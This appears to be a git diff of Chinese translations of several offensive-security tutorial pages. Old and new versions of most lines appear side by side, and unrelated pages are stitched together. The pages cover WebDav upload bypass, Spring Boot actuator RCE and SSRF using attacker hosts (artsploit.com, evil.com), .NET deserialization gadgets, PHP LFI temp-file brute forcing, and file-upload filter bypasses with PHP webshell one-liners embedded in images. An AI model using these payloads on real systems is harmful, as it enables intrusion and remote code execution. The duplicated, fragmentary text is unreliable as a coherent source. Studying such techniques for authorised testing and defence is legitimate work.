访问 WebDav 服务器通常需要 **有效的凭据**[**WebDav 暴力破解**](../../generic-hacking/brute-force.md#http-basic-auth) 是获取它们的常见方法。
为了克服文件上传的限制,特别是那些阻止服务器端脚本执行的限制,您可以:
- 如果没有限制,**直接上传**具有**可执行扩展名**的文件。
- **重命名**上传的非可执行文件(如 .txt为可执行扩展名。
- **复制**上传的非可执行文件,将其扩展名更改为可执行的扩展名。
- 如果没有限制,**直接上传** 具有 **可执行扩展名** 的文件。
- **重命名** 上传的非可执行文件(如 .txt为可执行扩展名。
- **复制** 上传的非可执行文件,将其扩展名更改为可执行的扩展名。
## DavTest
**Davtest** 尝试**上传多个不同扩展名的文件**并**检查**扩展名是否被**执行**
**Davtest** 尝试 **上传多个不同扩展名的文件****检查** 扩展名是否 **被执行**
```bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
@ -39,18 +39,18 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
## IIS5/6 WebDav 漏洞
这个漏洞非常有趣。**WebDav** 不允许 **上传****重命名** 扩展名为 **.asp** 的文件。但你可以通过在名称末尾 **添加** **";.txt"** 来 **绕过** 这个限制,文件将被 **执行** 就像它是一个 .asp 文件(你也可以 **使用 ".html" 而不是 ".txt"** **不要忘记 ";"**)。
这个漏洞非常有趣。**WebDav** **不允许** **上传****重命名** 扩展名为 **.asp** 的文件。但你可以通过在名称末尾 **添加** **";.txt"** 来 **绕过** 这个限制,文件将被 **执行**,就像它是一个 .asp 文件一样(你也可以 **使用 ".html" 而不是 ".txt"****不要忘记 ";"**)。
然后你可以将你的 shell 作为一个 ".**txt" 文件 **上传,并 **复制/移动** 到一个 ".asp;.txt" 文件。通过网络服务器访问该文件时,它将被 **执行**cadaver 会说移动操作没有成功,但实际上是成功的)。
然后你可以将你的 shell 作为一个 ".**txt" 文件 **上传,并 **复制/移动** 到一个 ".asp;.txt" 文件中。通过 web 服务器访问该文件时,它将被 **执行**cadaver 会说移动操作没有成功,但实际上是成功的)。
![](<../../images/image (1092).png>)
## 后凭证
如果 Webdav 使用的是 Apache 服务器,你应该查看 Apache 中配置的网站。通常:\
\_**/etc/apache2/sites-enabled/000-default**_
_**/etc/apache2/sites-enabled/000-default**_
里面你可能会找到类似的内容:
其中你可能会找到类似的内容:
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav

View File

@ -35,7 +35,7 @@
## 逐跳头
逐跳头是设计用于由当前处理请求的代理处理和消费的头,与端到端头相对
逐跳头是设计用于由当前处理请求的代理处理和消费的头,而不是端到端头
- `Connection: close, X-Forwarded-For`
@ -58,7 +58,7 @@
- **`X-Cache`** 在响应中可能具有值 **`miss`** 当请求未被缓存时,值 **`hit`** 当它被缓存时
- 在头 **`Cf-Cache-Status`** 中有类似的行为
- **`Cache-Control`** 指示资源是否被缓存以及下次资源将被缓存的时间`Cache-Control: public, max-age=1800`
- **`Cache-Control`** 指示资源是否被缓存以及下次资源将何时再次被缓存:`Cache-Control: public, max-age=1800`
- **`Vary`** 通常在响应中使用,以 **指示额外的头**,这些头被视为 **缓存键的一部分**,即使它们通常没有键。
- **`Age`** 定义对象在代理缓存中存在的时间(以秒为单位)。
- **`Server-Timing: cdn-cache; desc=HIT`** 也指示资源已被缓存
@ -86,17 +86,17 @@
- **`Range`**: 指示服务器应返回文档的部分。例如,`Range:80-100` 将返回原始响应的字节 80 到 100状态码为 206 部分内容。还要记得从请求中删除 `Accept-Encoding` 头。
- 这可能有助于获取包含任意反射 JavaScript 代码的响应,否则可能会被转义。但要滥用这一点,您需要在请求中注入这些头。
- **`If-Range`**: 创建一个条件范围请求,仅在给定的 etag 或日期与远程资源匹配时满足。用于防止从不兼容版本的资源下载两个范围。
- **`Content-Range`**: 指示部分消息在完整消息中的位置。
- **`Content-Range`**: 指示部分消息在完整消息中的位置。
## 消息体信息
- **`Content-Length`:** 资源的大小,以字节的十进制数表示。
- **`Content-Length`:** 资源的大小,以十进制字节数表示。
- **`Content-Type`**: 指示资源的媒体类型
- **`Content-Encoding`**: 用于指定压缩算法。
- **`Content-Language`**: 描述面向受众的人类语言,以便用户能够根据自己偏好的语言进行区分。
- **`Content-Language`**: 描述面向受众的人类语言,以便允许用户根据用户自己的首选语言进行区分。
- **`Content-Location`**: 指示返回数据的替代位置。
从渗透测试的角度来看,这些信息通常是“无用的”,但如果资源受到 **401****403** 的保护,并且您可以找到某种 **方法****获取** 这些 **信息**,这可能是 **有趣的**。\
从渗透测试的角度来看,这些信息通常是“无用的”,但如果资源受到 **401****403** 的保护,并且您可以找到某种 **方法****获取** 这些 **信息**,这可能**有趣的**。\
例如,在 HEAD 请求中结合 **`Range`** 和 **`Etag`** 可以通过 HEAD 请求泄露页面的内容:
- 带有头 `Range: bytes=20-20` 的请求和包含 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` 的响应泄露了字节 20 的 SHA1 为 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
@ -108,7 +108,7 @@
## 控制
- **`Allow`**: 此头用于传达资源可以处理的 HTTP 方法。例如,它可能被指定为 `Allow: GET, POST, HEAD`示资源支持这些方法。
- **`Allow`**: 此头用于传达资源可以处理的 HTTP 方法。例如,它可能被指定为 `Allow: GET, POST, HEAD`示资源支持这些方法。
- **`Expect`**: 客户端用于传达服务器需要满足的期望,以便请求能够成功处理。一个常见的用例涉及 `Expect: 100-continue` 头,表示客户端打算发送大量数据负载。客户端在继续传输之前会寻找 `100 (Continue)` 响应。此机制有助于通过等待服务器确认来优化网络使用。
## 下载
@ -127,9 +127,9 @@ Content-Disposition: attachment; filename="filename.jpg"
../../pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
### **受信任类型**
### **受信任类型**
通过 CSP 强制实施受信任类型,应用程序可以防止 DOM XSS 攻击。受信任类型确保只有符合既定安全政策的特定构造对象可以用于危险的 Web API 调用,从而默认保护 JavaScript 代码。
通过 CSP 强制实施受信任类型,应用程序可以防止 DOM XSS 攻击。受信任类型确保只有符合既定安全政策的特定构造对象可以用于危险的 Web API 调用,从而默认保护 JavaScript 代码。
```javascript
// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
@ -148,7 +148,7 @@ el.innerHTML = escaped // Results in safe assignment.
```
### **X-Content-Type-Options**
此头部防止 MIME 类型嗅探,这是一种可能导致 XSS 漏洞的做法。它确保浏览器遵循服务器指定的 MIME 类型。
此头部防止 MIME 类型嗅探,这是一种可能导致 XSS 漏洞的做法。它确保浏览器尊重服务器指定的 MIME 类型。
```
X-Content-Type-Options: nosniff
```

View File

@ -6,7 +6,7 @@
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
**来自** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
**来自** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## 利用 Spring Boot Actuators
@ -17,12 +17,12 @@
- Spring Boot Actuators 注册的端点包括 `/health``/trace``/beans``/env` 等。在 1 到 1.4 版本中,这些端点无需身份验证即可访问。从 1.5 版本开始,默认情况下只有 `/health``/info` 是非敏感的,但开发人员通常会禁用此安全性。
- 某些 Actuator 端点可能会暴露敏感数据或允许有害操作:
- `/dump``/trace``/logfile``/shutdown``/mappings``/env``/actuator/env``/restart``/heapdump`
- 在 Spring Boot 1.x 中actuators 注册在根 URL 下,而在 2.x 中,它们位于 `/actuator/`路径下。
- 在 Spring Boot 1.x 中actuators 注册在根 URL 下,而在 2.x 中,它们位于 `/actuator/` 基路径下。
### **利用技术:**
1. **通过 '/jolokia' 进行远程代码执行**
- `/jolokia` actuator 端点暴露了 Jolokia 库,允许对 MBeans 进行 HTTP 访问。
- `/jolokia` actuator 端点暴露了 Jolokia 库,允许对 MBeans HTTP 访问。
- `reloadByURL` 操作可以被利用来从外部 URL 重新加载日志配置,这可能导致盲目 XXE 或通过精心制作的 XML 配置进行远程代码执行。
- 示例利用 URL`http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`
2. **通过 '/env' 进行配置修改**
@ -52,15 +52,13 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
1. **Env + H2 RCE**
- 关于利用 `/env` 端点和 H2 数据库组合的详细信息可以在 [这里](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) 找到。
2. **通过错误的路径名解释在 Spring Boot 上进行 SSRF**
2. **通过错误的路径名解释在 Spring Boot 上进行 SSRF**
- Spring 框架对 HTTP 路径名中矩阵参数 (`;`) 的处理可以被利用进行服务器端请求伪造 (SSRF)。
- 示例利用请求:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,20 +1,20 @@
# 基本 .Net 反序列化 (ObjectDataProvider 小工具, ExpandedWrapper 和 Json.Net)
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
本文旨在**理解如何利用 ObjectDataProvider 小工具**来获得 RCE以及**如何**利用序列化库**Json.Net 和 xmlSerializer**与该小工具进行滥用。
本文旨在**理解如何利用 ObjectDataProvider 小工具** 来获得 RCE以及**如何**利用该小工具**Json.Net 和 xmlSerializer**进行滥用。
## ObjectDataProvider 小工具
根据文档_ObjectDataProvider 类包装并创建一个可以用作绑定源的对象。_\
是的,这个解释有点奇怪,让我们看看这个类有什么有趣的地方:这个类允许**包装任意对象**使用_**MethodParameters**_来**设置任意参数,**然后**使用 MethodName 调用使用任意参数声明的任意对象的任意函数。\
因此,任意**对象**将在**反序列化**时**执行**一个带有**参数**的**函数**
是的,这个解释有点奇怪,让我们看看这个类有什么有趣的地方:这个类允许**包装任意对象**,使用 _**MethodParameters**_ 来**设置任意参数,**然后**使用 MethodName 调用任意函数**,该函数是使用任意参数声明的任意对象。\
因此,任意**对象**将在**反序列化**时**执行**一个带有**参数的** **函数**
### **这怎么可能**
**System.Windows.Data** 命名空间在 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`**PresentationFramework.dll** 中定义和实现了 ObjectDataProvider。
使用 [**dnSpy**](https://github.com/0xd4d/dnSpy) 你可以**检查**我们感兴趣的类的代码。在下面的图像中,我们看到的是 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> 方法名称** 的代码。
使用 [**dnSpy**](https://github.com/0xd4d/dnSpy) 你可以**检查**我们感兴趣的类的代码。在下面的图像中,我们看到 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> 方法名称** 的代码。
![](<../../images/image (427).png>)
@ -26,13 +26,13 @@
![](<../../images/image (345).png>)
注意在代码的末尾调用了 `this.QueryWorke(null)`。让我们看看它执行了什么:
注意在代码的末尾调用了 `this.QueryWorke(null)`。让我们看看它执行了什么:
![](<../../images/image (596).png>)
注意这不是 `QueryWorker` 函数的完整代码,但它展示了有趣的部分:代码**调用 `this.InvokeMethodOnInstance(out ex);`**这是**方法集被调用**的那一行。
注意这不是 `QueryWorker` 函数的完整代码,但它显示了有趣的部分:代码**调用 `this.InvokeMethodOnInstance(out ex);`** 这是**方法集被调用**的那一行。
如果你想检查仅设置_**MethodName**_\*\*就会被执行\*\*,你可以运行以下代码:
如果你想检查仅设置 _**MethodName**_** 就会被执行**,你可以运行以下代码:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -56,10 +56,10 @@ myODP.MethodName = "Start";
## ExpandedWrapper
使用之前的漏洞,将会有一些情况,其中 **对象** 将被 **反序列化为** 一个 _**ObjectDataProvider**_ 实例(例如在 DotNetNuke 漏洞中,使用 XmlSerializer对象是通过 `GetType` 反序列化的)。然后,将对 _ObjectDataProvider_ 实例中封装 **对象类型没有任何了解**(例如 `Process`)。您可以在这里找到更多关于 DotNetNuke 漏洞的 [信息](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)。
使用之前的漏洞,将会有一些情况**对象**将被**反序列化为**一个 _**ObjectDataProvider**_ 实例(例如在 DotNetNuke 漏洞中,使用 XmlSerializer对象是通过 `GetType` 反序列化的)。然后,将**包装在 _ObjectDataProvider_ 实例中的对象类型没有任何了解**(例如 `Process`)。您可以在这里找到更多关于 DotNetNuke 漏洞的[信息](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)。
这个类允许 **指定封装在给定实例中的对象类型**。因此,这个类可以用来将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型中,并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
这在之前提到的情况中非常有用,因为我们将能够 **将 \_ObjectDataProvider**_\*\* 包装在一个 \*\*_**ExpandedWrapper** \_ 实例中,并且 **在反序列化时** 这个类将 **创建** _**OjectDataProvider**_ 对象,该对象将 **执行**_**MethodName**_ 中指示的 **函数**
这个类允许**指定封装在给定实例中的对象类型**。因此,这个类可以用来将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型中,并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
这在之前提到的情况中非常有用,因为我们将能够**将 _ObjectDataProvider_** 包装在一个 **_**ExpandedWrapper** _ 实例中,并且**在反序列化时**,这个类将**创建** _**OjectDataProvider**_ 对象,该对象将**执行**在 _**MethodName**_ 中指示的**函数**
您可以使用以下代码检查这个包装器:
```java
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
在[官方网站](https://www.newtonsoft.com/json)上指出,该库允许**使用Json.NET强大的JSON序列化程序序列化和反序列化任何.NET对象**。因此,如果我们能够**反序列化ObjectDataProvider小工具**,我们可以仅通过反序列化一个对象来导致**RCE**。
在[官方网页](https://www.newtonsoft.com/json)上指出,这个库允许**使用Json.NET强大的JSON序列化器序列化和反序列化任何.NET对象**。因此,如果我们能够**反序列化ObjectDataProvider小工具**,我们可以仅通过反序列化一个对象来导致**RCE**。
### Json.Net示例
首先,让我们看一个如何使用库**序列化/反序列化**对象的示例:
首先,让我们看一个如何使用这个库**序列化/反序列化**对象的示例:
```java
using System;
using Newtonsoft.Json;
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
在这段代码中,你可以**测试漏洞**,只需运行它,你将看到一个计算器被执行:
在这段代码中,你可以**测试漏洞**,只需运行它,你将看到计算器被执行:
```java
using System;
using System.Text;

View File

@ -17,7 +17,7 @@ max_file_uploads = 20
### 其他技术
其他技术依赖于攻击 PHP 协议(如果您只控制路径的最后部分,则无法进行攻击)、披露文件路径、滥用预期文件,或**使 PHP 遭受分段故障,以便上传的临时文件不会被删除**。\
其他技术依赖于攻击 PHP 协议(如果您只控制路径的最后部分,则无法进行攻击)、披露文件路径、滥用预期文件,或**使 PHP 遭受分段错误,以便上传的临时文件不会被删除**。\
这种技术**与最后一种非常相似,但不需要找到零日漏洞**。
### 永久等待技术
@ -28,7 +28,7 @@ max_file_uploads = 20
- 您只需控制包含中的相对路径
- 不需要 nginx 或意外的访问日志文件的级别
- 不需要零日漏洞来导致分段故障
- 不需要零日漏洞来导致分段错误
- 不需要路径披露
这种技术的**主要问题**是:
@ -36,7 +36,7 @@ max_file_uploads = 20
- 需要特定的文件存在(可能还有更多)
- **潜在文件名的数量惊人****56800235584**
- 如果服务器**不使用数字**,则总潜在数量为:**19770609664**
- 默认情况下**每个请求只能上传 20 个文件**。
- 默认情况下**每个请求只能上传 20 个文件**。
- 使用的服务器的**最大并行工作者数量**。
- 这个限制与之前的限制可能会使攻击持续太久
- **PHP 请求的超时**。理想情况下,这应该是永恒的,或者应该在不删除临时上传文件的情况下终止 PHP 进程,否则这也会很麻烦
@ -50,7 +50,7 @@ include("/sys/kernel/security/apparmor/revision");
```
## Apache2
默认情况下Apache 支持 **150 个并发连接**,根据 [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) 的说法,可以将这个数字提升到 8000。按照此方法使用 PHP 和该模块: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04)。
默认情况下Apache 支持 **150 个并发连接**,根据 [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) 的信息,可以将这个数字提升到 8000。按照此方法使用 PHP 和该模块: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04)。
默认情况下,(根据我的测试)**PHP 进程可以永远存在**。
@ -58,7 +58,7 @@ include("/sys/kernel/security/apparmor/revision");
- 我们可以使用 **149 个连接** 来生成 **149 \* 20 = 2980 个临时文件**,通过我们的 webshell。
- 然后,使用 **最后一个连接****暴力破解** 潜在文件。
- 以 **10 请求/秒** 的速度,时间为:
- 以 **10 请求/秒** 的速度,时间为:
- 56800235584 / 2980 / 10 / 3600 \~= **530 小时**265 小时有 50% 的机会)
- 不带数字19770609664 / 2980 / 10 / 3600 \~= 185 小时93 小时有 50% 的机会)
@ -69,16 +69,16 @@ include("/sys/kernel/security/apparmor/revision");
## PHP-FMP
如果不是使用常规的 php mod 来运行 PHP 脚本,而是 **网页使用** **PHP-FMP**(这提高了网页的效率,因此常常可以找到),还有其他方法可以改进该技术。
如果不是使用常规的 php 模块来运行 PHP 脚本,而是 **网页使用** **PHP-FMP**(这提高了网页的效率,因此常),还有其他方法可以改进该技术。
PHP-FMP 允许 **配置** **参数** **`request_terminate_timeout`** **`/etc/php/<php-version>/fpm/pool.d/www.conf`** 中。\
该参数指示 **请求 PHP 时必须终止的最大秒数**(默认无限,但 **如果参数未注释则为 30 秒**)。当请求被 PHP 处理时,达到指定的秒数后,它会被 **终止**。这意味着,如果请求正在上传临时文件,因为 **PHP 处理被停止**,那些 **文件不会被删除**。因此,如果您能让请求持续那么长时间,可以 **生成成千上万的临时文件**,这些文件不会被删除,这将 **加快查找它们的过程**,并减少通过消耗所有连接对平台造成 DoS 的概率
PHP-FMP 允许在 **`/etc/php/<php-version>/fpm/pool.d/www.conf`** 中 **配置** **参数** **`request_terminate_timeout`**。\
该参数指示 **请求 PHP 时必须终止的最大秒数**(默认无限,但 **如果参数未注释则为 30 秒**)。当 PHP 正在处理请求时,达到指定的秒数后,它会被 **终止**。这意味着,如果请求正在上传临时文件,因为 **PHP 处理被停止**,那些 **文件不会被删除**。因此,如果您能让请求持续那么长时间,可以 **生成成千上万的临时文件**,这些文件不会被删除,这将 **加快查找它们的过程**,并减少通过消耗所有连接对平台造成 DoS 的可能性
因此,为了 **避免 DoS**,假设 **攻击者将同时使用 100 个连接**,而 PHP 的最大处理时间通过 **php-fmp**`request_terminate_timeout`**** 是 **30 秒**。因此,**每秒** 可以生成的 **临时文件** 数量为 `100*20/30 = 66.67`
因此,为了 **避免 DoS**,假设 **攻击者将同时使用 100 个连接**,而 php-fmp 的最大处理时间 **(`request_terminate_timeout`**) 为 **30 秒**。因此,每秒可以生成的 **临时文件** 数量为 `100*20/30 = 66.67`
然后,攻击者需要 **`10000/66.67 = 150s`** 来生成 **10000 个文件**(生成 **100000 个文件** 的时间为 **25 分钟**)。
然后,攻击者可以使用这 **100 个连接** 来执行 **暴力搜索** \*\*\*\* 假设速度为 300 req/s利用此漏洞所需的时间如下
然后,攻击者可以使用这 **100 个连接** 来执行 **暴力搜索**。假设速度为 300 req/s利用此漏洞所需的时间如下
- 56800235584 / 10000 / 300 / 3600 \~= **5.25 小时**2.63 小时有 50% 的机会)
- (有 100000 个文件56800235584 / 100000 / 300 / 3600 \~= **0.525 小时**0.263 小时有 50% 的机会)
@ -88,7 +88,7 @@ PHP-FMP 允许 **配置** **参数** **`request_terminate_timeout`** 在 **`/etc
<figure><img src="../../images/image (240).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> 请注意,为了触发超时,**需包含易受攻击的 LFI 页面**,使其进入一个永恒的包含循环。
> 请注意,为了触发超时,**需包含易受攻击的 LFI 页面**,使其进入一个永恒的包含循环。
## Nginx

View File

@ -7,10 +7,10 @@
其他有用的扩展名:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **在PHPv8中工作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **在 PHPv8 中工作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
- **ColdFusion:** _.cfm, .cfml, .cfc, .dbm_
- **Flash**: _.swf_
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
@ -21,7 +21,7 @@
2. _检查**在执行扩展名之前添加有效扩展名**也使用之前的扩展名_
- _file.png.php_
- _file.png.Php5_
3. 尝试在末尾添加**特殊字符**。可以使用Burp来**暴力破解**所有**ascii**和**Unicode**字符。 (_注意你也可以尝试使用**之前**提到的**扩展名**_)
3. 尝试在末尾添加**特殊字符**。可以使用 Burp 来**暴力破解**所有**ascii**和**Unicode**字符。(_注意你也可以尝试使用**之前**提到的**扩展名**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. 尝试通过**欺骗服务器端的扩展解析器**来绕过保护,使用**重**扩展名或在扩展名之间**添加垃圾**数据(**null**字节。_你也可以使用**之前的扩展名**来准备更好的有效载荷。_
4. 尝试通过**欺骗服务器端的扩展解析器**来绕过保护,使用**重**扩展名或**添加垃圾**数据(**null**字节)在扩展名之间的技术。_你也可以使用**之前的扩展名**来准备更好的有效载荷。_
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,19 +40,19 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. 为之前的检查添加**另一层扩展名**
5. 在之前的检查中添加**另一层扩展名**
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. 尝试将**exec扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(有助于利用Apache配置错误其中任何带有扩展名**_**.php**_**的内容,但不一定以.php**_**结尾的内容将执行代码):
6. 尝试将**exec 扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(有助于利用 Apache 配置错误,其中任何带有扩展名** _**.php**_**,但**不一定以 .php 结尾**的文件将执行代码):
- _例如: file.php.png_
7. 在**Windows**中使用**NTFS备用数据流ADS**。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个**带有禁止扩展名的空文件**例如“file.asax:.jpg”。该文件可以稍后使用其他技术进行编辑例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此,在此模式后添加一个点字符也可能有助于绕过进一步的限制例如“file.asp::$data.”)
8. 尝试打破文件名限制。有效扩展名被截断恶意PHP被保留。AAA<--SNIP-->AAA.php
7. 在**Windows**中使用**NTFS 备用数据流 (ADS)**。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,服务器上创建一个**带有禁止扩展名的空文件**例如“file.asax:.jpg”。该文件可以稍后使用其他技术进行编辑例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此在此模式后添加点字符也可能有助于绕过进一步的限制例如“file.asp::$data.”)
8. 尝试打破文件名限制。有效扩展名被截断,恶意 PHP 被保留。AAA<--SNIP-->AAA.php
```
# Linux最大255字节
# Linux 最大 255 字节
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4并添加.png
# 上传文件并检查响应允许多少个字符。假设236
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去 4 并添加 .png
# 上传文件并检查响应允许多少个字符。假设 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 制作有效载荷
@ -61,18 +61,18 @@ AAA<--SNIP 232 A-->AAA.php.png
### 绕过内容类型、魔术数字、压缩和调整大小
- 通过将**Content-Type** **header**的**值**设置为_image/png_ , _text/plain , application/octet-stream_来绕过**Content-Type**检查
- 通过将**Content-Type** **header**的**值**设置为_image/png_ , _text/plain , application/octet-stream_ 来绕过**Content-Type**检查
1. Content-Type **字典**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- 通过在文件开头添加**真实图像的字节**混淆_file_命令来绕过**魔术数字**检查。或者在**元数据**中引入shell\
- 通过在文件开头添加**真实图像的字节**混淆_file_命令来绕过**魔术数字**检查。或者在**元数据**中引入 shell\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` 或者你也可以**直接在图像中引入有效载荷**\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- 如果**压缩被添加到你的图像中**例如使用一些标准的PHP库如[PHP-GD](https://www.php.net/manual/fr/book.image.php),那么之前的技术将无效。然而,你可以使用**PLTE块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 网页也可能在**调整图像大小**例如使用PHP-GD函数`imagecopyresized``imagecopyresampled`。然而,你可以使用**IDAT块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 另一种制作**在图像调整大小中存活的有效载荷**的技术使用PHP-GD函数`thumbnailImage`。然而,你可以使用**tEXt块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- 如果**压缩被添加到你的图像中**,例如使用一些标准的 PHP 库如 [PHP-GD](https://www.php.net/manual/fr/book.image.php),那么之前的技术将无效。然而,你可以使用**PLTE 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本,使其**在压缩中存活**。
- [**Github 上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
